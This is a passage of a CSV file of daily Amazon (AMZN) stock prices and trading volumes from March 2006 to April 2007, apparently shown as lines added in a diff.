+2006-03-22,36.0,36.540000915527344,35.790000915527344,36.0,36.0,4300800,AMZN
+2006-03-23,35.959999084472656,36.34000015258789,35.47999954223633,35.68000030517578,35.68000030517578,4035900,AMZN
+2006-03-24,35.720001220703125,36.119998931884766,35.310001373291016,35.470001220703125,35.470001220703125,3682000,AMZN
+2006-03-27,35.5,35.65999984741211,35.13999938964844,35.25,35.25,3708500,AMZN
+2006-03-28,35.209999084472656,36.02000045776367,35.20000076293945,35.689998626708984,35.689998626708984,5727200,AMZN
+2006-03-29,35.689998626708984,36.810001373291016,35.310001373291016,36.31999969482422,36.31999969482422,7199200,AMZN
+2006-03-30,36.45000076293945,36.900001525878906,36.18000030517578,36.66999816894531,36.66999816894531,4049200,AMZN
+2006-03-31,36.68000030517578,36.77000045776367,36.47999954223633,36.529998779296875,36.529998779296875,2659000,AMZN
+2006-04-03,36.66999816894531,37.33000183105469,36.099998474121094,36.13999938964844,36.13999938964844,5054000,AMZN
+2006-04-04,36.13999938964844,37.099998474121094,36.02000045776367,36.77000045776367,36.77000045776367,3717800,AMZN
+2006-04-05,36.65999984741211,37.34000015258789,36.27000045776367,37.34000015258789,37.34000015258789,5559500,AMZN
+2006-04-06,37.20000076293945,38.84000015258789,37.130001068115234,38.5099983215332,38.5099983215332,9294600,AMZN
+2006-04-07,38.54999923706055,38.66999816894531,37.0,37.09000015258789,37.09000015258789,5704500,AMZN
+2006-04-10,37.150001525878906,37.279998779296875,36.220001220703125,36.61000061035156,36.61000061035156,4747500,AMZN
+2006-04-11,36.61000061035156,36.75,35.52000045776367,36.060001373291016,36.060001373291016,6605600,AMZN
+2006-04-12,35.90999984741211,36.439998626708984,35.90999984741211,36.130001068115234,36.130001068115234,2855800,AMZN
+2006-04-13,35.95000076293945,36.720001220703125,35.4900016784668,36.619998931884766,36.619998931884766,3715200,AMZN
+2006-04-17,36.470001220703125,36.619998931884766,35.04999923706055,35.27000045776367,35.27000045776367,4442200,AMZN
+2006-04-18,35.38999938964844,36.45000076293945,35.20000076293945,36.279998779296875,36.279998779296875,4595700,AMZN
+2006-04-19,36.119998931884766,36.959999084472656,35.88999938964844,36.88999938964844,36.88999938964844,4280500,AMZN
+2006-04-20,36.70000076293945,37.20000076293945,36.22999954223633,36.34000015258789,36.34000015258789,5387600,AMZN
+2006-04-21,36.619998931884766,36.779998779296875,35.720001220703125,36.029998779296875,36.029998779296875,4423500,AMZN
+2006-04-24,36.119998931884766,36.119998931884766,35.31999969482422,35.790000915527344,35.790000915527344,3087600,AMZN
+2006-04-25,35.59000015258789,35.77000045776367,35.0099983215332,35.54999923706055,35.54999923706055,12790500,AMZN
+2006-04-26,35.34000015258789,36.349998474121094,35.150001525878906,35.790000915527344,35.790000915527344,11071500,AMZN
+2006-04-27,35.5099983215332,35.869998931884766,35.29999923706055,35.7400016784668,35.7400016784668,5932500,AMZN
+2006-04-28,35.77000045776367,35.88999938964844,35.13999938964844,35.209999084472656,35.209999084472656,3492500,AMZN
+2006-05-01,35.189998626708984,35.56999969482422,34.439998626708984,34.59000015258789,34.59000015258789,7072700,AMZN
+2006-05-02,34.63999938964844,34.939998626708984,34.22999954223633,34.380001068115234,34.380001068115234,5857000,AMZN
+2006-05-03,34.290000915527344,34.38999938964844,33.5099983215332,33.959999084472656,33.959999084472656,7585900,AMZN
+2006-05-04,34.619998931884766,34.720001220703125,34.380001068115234,34.470001220703125,34.470001220703125,5997900,AMZN
+2006-05-05,34.650001525878906,35.040000915527344,34.150001525878906,35.040000915527344,35.040000915527344,5740900,AMZN
+2006-05-08,34.9900016784668,35.310001373291016,34.470001220703125,34.689998626708984,34.689998626708984,4236800,AMZN
+2006-05-09,34.41999816894531,35.2599983215332,34.209999084472656,34.84000015258789,34.84000015258789,5484700,AMZN
+2006-05-10,34.68000030517578,35.0,34.099998474121094,34.15999984741211,34.15999984741211,3300300,AMZN
+2006-05-11,34.119998931884766,34.150001525878906,33.08000183105469,33.529998779296875,33.529998779296875,7696000,AMZN
+2006-05-12,33.560001373291016,33.779998779296875,32.54999923706055,32.72999954223633,32.72999954223633,4873600,AMZN
+2006-05-15,32.54999923706055,32.849998474121094,32.209999084472656,32.779998779296875,32.779998779296875,4305000,AMZN
+2006-05-16,32.84000015258789,33.02000045776367,32.31999969482422,32.7599983215332,32.7599983215332,5221600,AMZN
+2006-05-17,32.45000076293945,32.70000076293945,31.530000686645508,31.610000610351562,31.610000610351562,6704100,AMZN
+2006-05-18,31.709999084472656,33.63999938964844,31.520000457763672,32.61000061035156,32.61000061035156,12027200,AMZN
+2006-05-19,32.65999984741211,34.0,32.029998779296875,33.939998626708984,33.939998626708984,9817200,AMZN
+2006-05-22,33.959999084472656,34.9900016784668,33.18000030517578,34.83000183105469,34.83000183105469,11122900,AMZN
+2006-05-23,35.0,36.0,33.7599983215332,33.7599983215332,33.7599983215332,8822700,AMZN
+2006-05-24,33.40999984741211,35.22999954223633,33.369998931884766,35.189998626708984,35.189998626708984,9542100,AMZN
+2006-05-25,35.36000061035156,35.689998626708984,34.599998474121094,35.630001068115234,35.630001068115234,5845700,AMZN
+2006-05-26,35.65999984741211,36.5,35.459999084472656,36.06999969482422,36.06999969482422,4524300,AMZN
+2006-05-30,35.72999954223633,35.75,34.439998626708984,34.63999938964844,34.63999938964844,5920800,AMZN
+2006-05-31,34.7400016784668,34.939998626708984,33.72999954223633,34.61000061035156,34.61000061035156,5196600,AMZN
+2006-06-01,34.630001068115234,35.45000076293945,34.29999923706055,35.06999969482422,35.06999969482422,5932000,AMZN
+2006-06-02,35.189998626708984,35.220001220703125,34.04999923706055,34.7599983215332,34.7599983215332,5442900,AMZN
+2006-06-05,34.459999084472656,34.540000915527344,33.27000045776367,33.4900016784668,33.4900016784668,5049400,AMZN
+2006-06-06,33.58000183105469,33.79999923706055,32.93000030517578,33.40999984741211,33.40999984741211,4276600,AMZN
+2006-06-07,33.400001525878906,34.540000915527344,32.90999984741211,33.77000045776367,33.77000045776367,5303800,AMZN
+2006-06-08,33.54999923706055,34.060001373291016,32.41999816894531,33.54999923706055,33.54999923706055,8311000,AMZN
+2006-06-09,33.5,34.349998474121094,33.45000076293945,33.779998779296875,33.779998779296875,5232600,AMZN
+2006-06-12,34.0,34.45000076293945,33.4900016784668,33.599998474121094,33.599998474121094,4195800,AMZN
+2006-06-13,33.4900016784668,34.16999816894531,33.130001068115234,33.470001220703125,33.470001220703125,5403000,AMZN
+2006-06-14,33.5,33.9900016784668,33.08000183105469,33.68000030517578,33.68000030517578,4869100,AMZN
+2006-06-15,33.84000015258789,35.16999816894531,33.66999816894531,34.959999084472656,34.959999084472656,6206100,AMZN
+2006-06-16,34.880001068115234,35.2599983215332,34.70000076293945,35.09000015258789,35.09000015258789,5135100,AMZN
+2006-06-19,35.20000076293945,35.47999954223633,35.040000915527344,35.06999969482422,35.06999969482422,4211600,AMZN
+2006-06-20,35.0099983215332,35.650001525878906,34.880001068115234,35.47999954223633,35.47999954223633,4465500,AMZN
+2006-06-21,35.34000015258789,37.04999923706055,35.34000015258789,36.650001525878906,36.650001525878906,7865300,AMZN
+2006-06-22,36.54999923706055,36.849998474121094,36.11000061035156,36.369998931884766,36.369998931884766,4732000,AMZN
+2006-06-23,36.459999084472656,36.650001525878906,36.02000045776367,36.54999923706055,36.54999923706055,3923400,AMZN
+2006-06-26,36.54999923706055,37.16999816894531,36.43000030517578,36.77000045776367,36.77000045776367,3605800,AMZN
+2006-06-27,36.720001220703125,37.5,36.16999816894531,36.47999954223633,36.47999954223633,5641000,AMZN
+2006-06-28,36.70000076293945,37.11000061035156,36.47999954223633,36.70000076293945,36.70000076293945,3751700,AMZN
+2006-06-29,36.81999969482422,38.56999969482422,36.70000076293945,38.52000045776367,38.52000045776367,6372500,AMZN
+2006-06-30,38.58000183105469,38.84000015258789,37.83000183105469,38.68000030517578,38.68000030517578,5191200,AMZN
+2006-07-03,38.52000045776367,38.619998931884766,38.22999954223633,38.61000061035156,38.61000061035156,1436300,AMZN
+2006-07-05,38.279998779296875,38.43000030517578,36.779998779296875,37.11000061035156,37.11000061035156,5734000,AMZN
+2006-07-06,37.06999969482422,37.7400016784668,36.52000045776367,36.79999923706055,36.79999923706055,4372700,AMZN
+2006-07-07,36.709999084472656,37.279998779296875,35.75,36.11000061035156,36.11000061035156,5004100,AMZN
+2006-07-10,36.29999923706055,36.70000076293945,35.400001525878906,35.790000915527344,35.790000915527344,3876700,AMZN
+2006-07-11,35.7400016784668,35.91999816894531,35.0099983215332,35.65999984741211,35.65999984741211,6088600,AMZN
+2006-07-12,35.599998474121094,35.900001525878906,34.56999969482422,34.630001068115234,34.630001068115234,4894700,AMZN
+2006-07-13,34.33000183105469,34.630001068115234,33.709999084472656,33.72999954223633,33.72999954223633,6455500,AMZN
+2006-07-14,33.5099983215332,33.72999954223633,32.79999923706055,32.91999816894531,32.91999816894531,8094800,AMZN
+2006-07-17,32.790000915527344,33.93000030517578,32.790000915527344,33.66999816894531,33.66999816894531,7197300,AMZN
+2006-07-18,33.650001525878906,34.290000915527344,32.959999084472656,33.4900016784668,33.4900016784668,5215000,AMZN
+2006-07-19,33.5,34.77000045776367,33.38999938964844,34.47999954223633,34.47999954223633,8866300,AMZN
+2006-07-20,34.38999938964844,34.810001373291016,33.83000183105469,34.18000030517578,34.18000030517578,5836200,AMZN
+2006-07-21,33.849998474121094,33.970001220703125,32.91999816894531,33.189998626708984,33.189998626708984,7136600,AMZN
+2006-07-24,33.349998474121094,34.68000030517578,33.34000015258789,34.310001373291016,34.310001373291016,7385400,AMZN
+2006-07-25,34.0,34.15999984741211,33.38999938964844,33.59000015258789,33.59000015258789,17230000,AMZN
+2006-07-26,28.760000228881836,29.0,25.959999084472656,26.260000228881836,26.260000228881836,76985200,AMZN
+2006-07-27,26.450000762939453,26.799999237060547,26.209999084472656,26.559999465942383,26.559999465942383,26393800,AMZN
+2006-07-28,26.799999237060547,27.18000030517578,26.56999969482422,27.170000076293945,27.170000076293945,12422000,AMZN
+2006-07-31,27.020000457763672,27.290000915527344,26.739999771118164,26.889999389648438,26.889999389648438,8038200,AMZN
+2006-08-01,26.549999237060547,26.639999389648438,25.84000015258789,26.31999969482422,26.31999969482422,13128800,AMZN
+2006-08-02,26.149999618530273,26.299999237060547,25.889999389648438,26.09000015258789,26.09000015258789,7810400,AMZN
+2006-08-03,26.09000015258789,26.899999618530273,25.899999618530273,26.690000534057617,26.690000534057617,6941100,AMZN
+2006-08-04,26.940000534057617,27.59000015258789,26.799999237060547,27.290000915527344,27.290000915527344,10252400,AMZN
+2006-08-07,27.190000534057617,27.290000915527344,26.59000015258789,26.780000686645508,26.780000686645508,5476400,AMZN
+2006-08-08,26.799999237060547,27.020000457763672,26.190000534057617,26.360000610351562,26.360000610351562,7260200,AMZN
+2006-08-09,26.540000915527344,26.700000762939453,26.0,26.209999084472656,26.209999084472656,6911200,AMZN
+2006-08-10,26.200000762939453,26.520000457763672,25.8799991607666,26.489999771118164,26.489999771118164,6405600,AMZN
+2006-08-11,26.43000030517578,26.43000030517578,25.760000228881836,26.06999969482422,26.06999969482422,5115900,AMZN
+2006-08-14,26.219999313354492,27.059999465942383,26.18000030517578,26.530000686645508,26.530000686645508,5128000,AMZN
+2006-08-15,26.969999313354492,27.860000610351562,26.6200008392334,27.770000457763672,27.770000457763672,8201600,AMZN
+2006-08-16,27.969999313354492,28.139999389648438,27.520000457763672,27.950000762939453,27.950000762939453,7636600,AMZN
+2006-08-17,27.959999084472656,29.75,27.829999923706055,29.09000015258789,29.09000015258789,9496300,AMZN
+2006-08-18,29.09000015258789,29.229999542236328,28.219999313354492,29.1200008392334,29.1200008392334,5998600,AMZN
+2006-08-21,28.700000762939453,28.979999542236328,27.969999313354492,28.1299991607666,28.1299991607666,5334900,AMZN
+2006-08-22,28.139999389648438,28.889999389648438,28.049999237060547,28.3700008392334,28.3700008392334,4587100,AMZN
+2006-08-23,28.559999465942383,28.889999389648438,27.770000457763672,28.139999389648438,28.139999389648438,4726400,AMZN
+2006-08-24,28.239999771118164,28.25,27.540000915527344,27.969999313354492,27.969999313354492,4516900,AMZN
+2006-08-25,27.790000915527344,28.229999542236328,27.6200008392334,28.030000686645508,28.030000686645508,3542600,AMZN
+2006-08-28,28.399999618530273,29.0,28.270000457763672,28.90999984741211,28.90999984741211,6067400,AMZN
+2006-08-29,28.969999313354492,29.719999313354492,28.75,29.520000457763672,29.520000457763672,7398100,AMZN
+2006-08-30,29.56999969482422,30.850000381469727,29.479999542236328,30.670000076293945,30.670000076293945,11303300,AMZN
+2006-08-31,30.75,30.989999771118164,30.469999313354492,30.829999923706055,30.829999923706055,5947000,AMZN
+2006-09-01,30.850000381469727,31.799999237060547,30.850000381469727,31.760000228881836,31.760000228881836,6563200,AMZN
+2006-09-05,31.610000610351562,32.29999923706055,31.239999771118164,32.22999954223633,32.22999954223633,7467700,AMZN
+2006-09-06,31.760000228881836,31.979999542236328,30.649999618530273,30.799999237060547,30.799999237060547,9114100,AMZN
+2006-09-07,30.56999969482422,30.639999389648438,29.68000030517578,29.729999542236328,29.729999542236328,8901700,AMZN
+2006-09-08,30.190000534057617,30.65999984741211,29.940000534057617,30.510000228881836,30.510000228881836,5227200,AMZN
+2006-09-11,30.229999542236328,31.1299991607666,29.719999313354492,30.790000915527344,30.790000915527344,7403800,AMZN
+2006-09-12,30.8700008392334,31.940000534057617,30.530000686645508,31.719999313354492,31.719999313354492,6527400,AMZN
+2006-09-13,31.729999542236328,31.959999084472656,31.3700008392334,31.670000076293945,31.670000076293945,4370400,AMZN
+2006-09-14,31.540000915527344,31.8700008392334,31.18000030517578,31.649999618530273,31.649999618530273,3705700,AMZN
+2006-09-15,31.899999618530273,32.7400016784668,31.579999923706055,32.52000045776367,32.52000045776367,10273700,AMZN
+2006-09-18,32.45000076293945,32.66999816894531,31.8799991607666,32.08000183105469,32.08000183105469,5123100,AMZN
+2006-09-19,32.2400016784668,32.29999923706055,30.81999969482422,31.579999923706055,31.579999923706055,8572000,AMZN
+2006-09-20,31.809999465942383,32.810001373291016,31.799999237060547,32.119998931884766,32.119998931884766,8548900,AMZN
+2006-09-21,32.2400016784668,32.560001373291016,30.06999969482422,30.219999313354492,30.219999313354492,15553700,AMZN
+2006-09-22,30.219999313354492,30.950000762939453,29.899999618530273,30.84000015258789,30.84000015258789,7249000,AMZN
+2006-09-25,31.049999237060547,31.969999313354492,30.739999771118164,31.790000915527344,31.790000915527344,6619600,AMZN
+2006-09-26,31.889999389648438,32.59000015258789,31.799999237060547,32.5,32.5,6601100,AMZN
+2006-09-27,32.279998779296875,32.459999084472656,31.93000030517578,32.33000183105469,32.33000183105469,5469800,AMZN
+2006-09-28,32.27000045776367,32.33000183105469,31.219999313354492,31.84000015258789,31.84000015258789,7499400,AMZN
+2006-09-29,32.0099983215332,32.34000015258789,31.540000915527344,32.119998931884766,32.119998931884766,5227200,AMZN
+2006-10-02,31.979999542236328,32.029998779296875,30.829999923706055,30.8700008392334,30.8700008392334,6815000,AMZN
+2006-10-03,30.899999618530273,32.0,30.579999923706055,31.700000762939453,31.700000762939453,8034000,AMZN
+2006-10-04,31.75,32.83000183105469,31.299999237060547,32.7599983215332,32.7599983215332,7064800,AMZN
+2006-10-05,32.68000030517578,33.400001525878906,32.400001525878906,33.31999969482422,33.31999969482422,8455900,AMZN
+2006-10-06,33.150001525878906,33.220001220703125,32.5,32.59000015258789,32.59000015258789,4219200,AMZN
+2006-10-09,32.4900016784668,33.47999954223633,32.45000076293945,33.380001068115234,33.380001068115234,5289200,AMZN
+2006-10-10,33.27000045776367,33.58000183105469,32.4900016784668,32.619998931884766,32.619998931884766,6333400,AMZN
+2006-10-11,32.61000061035156,33.150001525878906,32.27000045776367,32.90999984741211,32.90999984741211,6728500,AMZN
+2006-10-12,33.099998474121094,33.709999084472656,32.630001068115234,33.54999923706055,33.54999923706055,5989700,AMZN
+2006-10-13,33.349998474121094,33.58000183105469,33.08000183105469,33.31999969482422,33.31999969482422,4067300,AMZN
+2006-10-16,32.849998474121094,33.20000076293945,32.54999923706055,32.599998474121094,32.599998474121094,6769400,AMZN
+2006-10-17,32.20000076293945,32.61000061035156,31.75,32.470001220703125,32.470001220703125,6635700,AMZN
+2006-10-18,32.56999969482422,32.779998779296875,32.0,32.310001373291016,32.310001373291016,5349300,AMZN
+2006-10-19,32.16999816894531,32.84000015258789,32.099998474121094,32.540000915527344,32.540000915527344,4037600,AMZN
+2006-10-20,32.689998626708984,32.689998626708984,32.209999084472656,32.56999969482422,32.56999969482422,5839400,AMZN
+2006-10-23,32.470001220703125,32.90999984741211,32.13999938964844,32.880001068115234,32.880001068115234,8059300,AMZN
+2006-10-24,32.869998931884766,38.0,32.86000061035156,33.630001068115234,33.630001068115234,23155300,AMZN
+2006-10-25,37.29999923706055,37.97999954223633,36.040000915527344,37.68000030517578,37.68000030517578,46522500,AMZN
+2006-10-26,37.25,38.4900016784668,37.18000030517578,38.29999923706055,38.29999923706055,17073300,AMZN
+2006-10-27,38.150001525878906,38.380001068115234,37.65999984741211,38.2400016784668,38.2400016784668,9953400,AMZN
+2006-10-30,38.04999923706055,38.34000015258789,37.68000030517578,38.150001525878906,38.150001525878906,6882400,AMZN
+2006-10-31,38.220001220703125,38.59000015258789,37.79999923706055,38.09000015258789,38.09000015258789,6210400,AMZN
+2006-11-01,38.130001068115234,38.20000076293945,37.459999084472656,37.560001373291016,37.560001373291016,6668900,AMZN
+2006-11-02,37.33000183105469,37.77000045776367,37.11000061035156,37.45000076293945,37.45000076293945,5447300,AMZN
+2006-11-03,37.61000061035156,37.709999084472656,36.869998931884766,37.459999084472656,37.459999084472656,5124100,AMZN
+2006-11-06,37.63999938964844,38.349998474121094,37.529998779296875,38.209999084472656,38.209999084472656,4540900,AMZN
+2006-11-07,38.20000076293945,39.0,38.040000915527344,38.77000045776367,38.77000045776367,7745100,AMZN
+2006-11-08,38.58000183105469,39.47999954223633,38.459999084472656,39.470001220703125,39.470001220703125,8159900,AMZN
+2006-11-09,39.5,39.77000045776367,38.810001373291016,38.84000015258789,38.84000015258789,5807100,AMZN
+2006-11-10,38.790000915527344,39.36000061035156,38.7599983215332,39.2599983215332,39.2599983215332,4495100,AMZN
+2006-11-13,39.22999954223633,40.0,39.130001068115234,39.9900016784668,39.9900016784668,6944300,AMZN
+2006-11-14,40.11000061035156,41.66999816894531,39.619998931884766,41.5099983215332,41.5099983215332,10951300,AMZN
+2006-11-15,41.5,43.099998474121094,41.5,42.599998474121094,42.599998474121094,13556700,AMZN
+2006-11-16,42.45000076293945,42.95000076293945,42.400001525878906,42.84000015258789,42.84000015258789,11000800,AMZN
+2006-11-17,42.54999923706055,42.66999816894531,42.220001220703125,42.54999923706055,42.54999923706055,6530200,AMZN
+2006-11-20,42.349998474121094,42.54999923706055,41.939998626708984,42.439998626708984,42.439998626708984,5796400,AMZN
+2006-11-21,42.54999923706055,43.25,42.119998931884766,42.540000915527344,42.540000915527344,6984400,AMZN
+2006-11-22,42.5,42.97999954223633,42.18000030517578,42.959999084472656,42.959999084472656,4535600,AMZN
+2006-11-24,42.560001373291016,42.939998626708984,42.310001373291016,42.40999984741211,42.40999984741211,2241300,AMZN
+2006-11-27,42.18000030517578,42.79999923706055,40.720001220703125,40.849998474121094,40.849998474121094,8972800,AMZN
+2006-11-28,40.75,41.06999969482422,40.29999923706055,40.91999816894531,40.91999816894531,7099300,AMZN
+2006-11-29,40.47999954223633,41.099998474121094,40.0,40.630001068115234,40.630001068115234,7854600,AMZN
+2006-11-30,40.41999816894531,40.63999938964844,39.849998474121094,40.34000015258789,40.34000015258789,6346300,AMZN
+2006-12-01,40.2599983215332,40.540000915527344,39.09000015258789,39.40999984741211,39.40999984741211,8306100,AMZN
+2006-12-04,39.310001373291016,39.47999954223633,38.869998931884766,39.099998474121094,39.099998474121094,9720700,AMZN
+2006-12-05,39.130001068115234,39.29999923706055,38.720001220703125,38.97999954223633,38.97999954223633,5737700,AMZN
+2006-12-06,38.77000045776367,39.58000183105469,38.63999938964844,38.900001525878906,38.900001525878906,5776900,AMZN
+2006-12-07,38.93000030517578,39.09000015258789,38.04999923706055,38.119998931884766,38.119998931884766,6621500,AMZN
+2006-12-08,37.91999816894531,38.95000076293945,37.70000076293945,38.459999084472656,38.459999084472656,5139700,AMZN
+2006-12-11,38.220001220703125,39.150001525878906,38.08000183105469,38.689998626708984,38.689998626708984,4848600,AMZN
+2006-12-12,38.439998626708984,38.939998626708984,38.150001525878906,38.459999084472656,38.459999084472656,5083200,AMZN
+2006-12-13,38.61000061035156,39.189998626708984,38.189998626708984,38.5,38.5,4677800,AMZN
+2006-12-14,38.7400016784668,39.540000915527344,38.599998474121094,39.02000045776367,39.02000045776367,6296100,AMZN
+2006-12-15,39.380001068115234,40.189998626708984,39.22999954223633,40.0099983215332,40.0099983215332,8153500,AMZN
+2006-12-18,40.20000076293945,40.63999938964844,38.86000061035156,39.2599983215332,39.2599983215332,6486700,AMZN
+2006-12-19,38.779998779296875,39.720001220703125,38.22999954223633,39.41999816894531,39.41999816894531,7520000,AMZN
+2006-12-20,39.43000030517578,40.29999923706055,39.38999938964844,40.0099983215332,40.0099983215332,7784300,AMZN
+2006-12-21,39.869998931884766,40.34000015258789,39.650001525878906,39.88999938964844,39.88999938964844,6550200,AMZN
+2006-12-22,39.97999954223633,40.5099983215332,39.90999984741211,40.2400016784668,40.2400016784668,5585100,AMZN
+2006-12-26,40.130001068115234,40.130001068115234,39.41999816894531,39.79999923706055,39.79999923706055,4473600,AMZN
+2006-12-27,39.86000061035156,40.470001220703125,39.79999923706055,40.290000915527344,40.290000915527344,3536500,AMZN
+2006-12-28,40.380001068115234,40.630001068115234,39.91999816894531,40.209999084472656,40.209999084472656,4545500,AMZN
+2006-12-29,40.060001373291016,40.25,39.349998474121094,39.459999084472656,39.459999084472656,4197000,AMZN
+2007-01-03,38.68000030517578,39.060001373291016,38.04999923706055,38.70000076293945,38.70000076293945,12405100,AMZN
+2007-01-04,38.59000015258789,39.13999938964844,38.2599983215332,38.900001525878906,38.900001525878906,6318400,AMZN
+2007-01-05,38.720001220703125,38.790000915527344,37.599998474121094,38.369998931884766,38.369998931884766,6619700,AMZN
+2007-01-08,38.220001220703125,38.310001373291016,37.16999816894531,37.5,37.5,6783000,AMZN
+2007-01-09,37.599998474121094,38.060001373291016,37.34000015258789,37.779998779296875,37.779998779296875,5703000,AMZN
+2007-01-10,37.4900016784668,37.70000076293945,37.06999969482422,37.150001525878906,37.150001525878906,6527500,AMZN
+2007-01-11,37.16999816894531,38.0,37.16999816894531,37.400001525878906,37.400001525878906,6465600,AMZN
+2007-01-12,37.36000061035156,38.209999084472656,37.27000045776367,38.20000076293945,38.20000076293945,4466400,AMZN
+2007-01-16,38.400001525878906,38.88999938964844,37.970001220703125,38.65999984741211,38.65999984741211,5643700,AMZN
+2007-01-17,38.70000076293945,39.0,37.779998779296875,37.880001068115234,37.880001068115234,5026800,AMZN
+2007-01-18,37.5,37.650001525878906,36.720001220703125,36.97999954223633,36.97999954223633,9105000,AMZN
+2007-01-19,36.689998626708984,37.47999954223633,36.599998474121094,37.02000045776367,37.02000045776367,6095900,AMZN
+2007-01-22,37.650001525878906,37.900001525878906,36.79999923706055,36.95000076293945,36.95000076293945,8317000,AMZN
+2007-01-23,36.900001525878906,37.06999969482422,36.29999923706055,36.43000030517578,36.43000030517578,5313600,AMZN
+2007-01-24,36.5099983215332,37.36000061035156,36.5,37.2599983215332,37.2599983215332,5271700,AMZN
+2007-01-25,38.08000183105469,38.22999954223633,36.779998779296875,37.08000183105469,37.08000183105469,6747600,AMZN
+2007-01-26,37.2599983215332,37.2599983215332,36.29999923706055,36.849998474121094,36.849998474121094,4139300,AMZN
+2007-01-29,36.70000076293945,37.45000076293945,36.540000915527344,37.43000030517578,37.43000030517578,7395000,AMZN
+2007-01-30,37.290000915527344,37.41999816894531,36.630001068115234,37.04999923706055,37.04999923706055,4813500,AMZN
+2007-01-31,36.95000076293945,38.189998626708984,36.7599983215332,37.66999816894531,37.66999816894531,7277500,AMZN
+2007-02-01,37.95000076293945,39.29999923706055,37.849998474121094,38.70000076293945,38.70000076293945,26123100,AMZN
+2007-02-02,37.22999954223633,37.7400016784668,36.68000030517578,37.38999938964844,37.38999938964844,25850700,AMZN
+2007-02-05,37.25,37.41999816894531,36.77000045776367,37.15999984741211,37.15999984741211,6110900,AMZN
+2007-02-06,37.20000076293945,38.40999984741211,37.08000183105469,38.27000045776367,38.27000045776367,8612700,AMZN
+2007-02-07,38.4900016784668,39.52000045776367,38.400001525878906,38.97999954223633,38.97999954223633,10503200,AMZN
+2007-02-08,38.95000076293945,39.5099983215332,38.66999816894531,39.099998474121094,39.099998474121094,5483600,AMZN
+2007-02-09,39.189998626708984,39.310001373291016,38.65999984741211,38.720001220703125,38.720001220703125,5960100,AMZN
+2007-02-12,38.790000915527344,38.9900016784668,38.36000061035156,38.849998474121094,38.849998474121094,3835700,AMZN
+2007-02-13,38.849998474121094,39.61000061035156,38.849998474121094,39.310001373291016,39.310001373291016,4505500,AMZN
+2007-02-14,39.22999954223633,40.279998779296875,39.13999938964844,40.13999938964844,40.13999938964844,6814100,AMZN
+2007-02-15,40.13999938964844,40.31999969482422,39.86000061035156,40.060001373291016,40.060001373291016,5088200,AMZN
+2007-02-16,39.900001525878906,40.439998626708984,39.869998931884766,40.33000183105469,40.33000183105469,4679000,AMZN
+2007-02-20,40.130001068115234,41.7400016784668,40.0,41.5099983215332,41.5099983215332,8903400,AMZN
+2007-02-21,41.189998626708984,41.31999969482422,40.91999816894531,41.2599983215332,41.2599983215332,4508400,AMZN
+2007-02-22,41.400001525878906,42.0,40.88999938964844,41.0,41.0,4926100,AMZN
+2007-02-23,41.0,41.20000076293945,40.7400016784668,40.779998779296875,40.779998779296875,5497400,AMZN
+2007-02-26,40.86000061035156,41.20000076293945,40.400001525878906,40.880001068115234,40.880001068115234,4035200,AMZN
+2007-02-27,40.189998626708984,40.540000915527344,38.779998779296875,38.83000183105469,38.83000183105469,8850700,AMZN
+2007-02-28,38.90999984741211,39.58000183105469,38.08000183105469,39.13999938964844,39.13999938964844,7687400,AMZN
+2007-03-01,39.31999969482422,39.31999969482422,38.04999923706055,38.849998474121094,38.849998474121094,9255800,AMZN
+2007-03-02,38.31999969482422,38.869998931884766,37.689998626708984,37.689998626708984,37.689998626708984,7787800,AMZN
+2007-03-05,37.150001525878906,38.31999969482422,37.040000915527344,37.04999923706055,37.04999923706055,9565600,AMZN
+2007-03-06,37.689998626708984,38.65999984741211,37.40999984741211,38.58000183105469,38.58000183105469,12848200,AMZN
+2007-03-07,38.68000030517578,39.31999969482422,38.279998779296875,38.36000061035156,38.36000061035156,8644600,AMZN
+2007-03-08,38.77000045776367,39.220001220703125,37.97999954223633,38.099998474121094,38.099998474121094,7629300,AMZN
+2007-03-09,38.47999954223633,38.88999938964844,38.0,38.84000015258789,38.84000015258789,6200100,AMZN
+2007-03-12,38.63999938964844,39.04999923706055,38.380001068115234,38.810001373291016,38.810001373291016,4879000,AMZN
+2007-03-13,38.29999923706055,38.880001068115234,37.689998626708984,37.81999969482422,37.81999969482422,5204100,AMZN
+2007-03-14,37.7599983215332,38.220001220703125,37.2599983215332,38.08000183105469,38.08000183105469,8591100,AMZN
+2007-03-15,38.099998474121094,38.290000915527344,37.54999923706055,37.779998779296875,37.779998779296875,7265700,AMZN
+2007-03-16,37.720001220703125,38.08000183105469,37.52000045776367,37.849998474121094,37.849998474121094,6865500,AMZN
+2007-03-19,38.0,38.540000915527344,38.0,38.45000076293945,38.45000076293945,4226600,AMZN
+2007-03-20,38.529998779296875,38.689998626708984,38.22999954223633,38.58000183105469,38.58000183105469,3801300,AMZN
+2007-03-21,38.54999923706055,39.79999923706055,38.310001373291016,39.79999923706055,39.79999923706055,4996400,AMZN
+2007-03-22,39.47999954223633,39.720001220703125,38.90999984741211,39.4900016784668,39.4900016784668,5331500,AMZN
+2007-03-23,39.560001373291016,39.599998474121094,38.97999954223633,38.97999954223633,38.97999954223633,2941500,AMZN
+2007-03-26,38.97999954223633,39.04999923706055,38.43000030517578,39.0099983215332,39.0099983215332,3521100,AMZN
+2007-03-27,38.81999969482422,39.41999816894531,38.7599983215332,39.369998931884766,39.369998931884766,3993600,AMZN
+2007-03-28,39.09000015258789,39.5099983215332,38.7400016784668,39.34000015258789,39.34000015258789,6202200,AMZN
+2007-03-29,39.650001525878906,39.91999816894531,39.29999923706055,39.810001373291016,39.810001373291016,6405200,AMZN
+2007-03-30,39.75,40.2400016784668,39.41999816894531,39.790000915527344,39.790000915527344,5996900,AMZN
+2007-04-02,39.849998474121094,40.470001220703125,39.54999923706055,40.41999816894531,40.41999816894531,7091300,AMZN
+2007-04-03,40.41999816894531,41.380001068115234,40.400001525878906,41.189998626708984,41.189998626708984,5968200,AMZN
+2007-04-04,41.220001220703125,41.54999923706055,40.91999816894531,41.529998779296875,41.529998779296875,4064700,AMZN
+2007-04-05,41.56999969482422,41.7599983215332,41.439998626708984,41.68000030517578,41.68000030517578,3288400,AMZN
+2007-04-09,41.720001220703125,42.13999938964844,41.61000061035156,41.65999984741211,41.65999984741211,4182700,AMZN
+2007-04-10,41.56999969482422,41.959999084472656,41.459999084472656,41.86000061035156,41.86000061035156,3421800,AMZN
+2007-04-11,41.72999954223633,41.869998931884766,41.2400016784668,41.68000030517578,41.68000030517578,5078400,AMZN
+2007-04-12,41.72999954223633,42.369998931884766,41.400001525878906,42.27000045776367,42.27000045776367,4754500,AMZN
+2007-04-13,42.189998626708984,42.5,41.93000030517578,42.40999984741211,42.40999984741211,3610000,AMZN
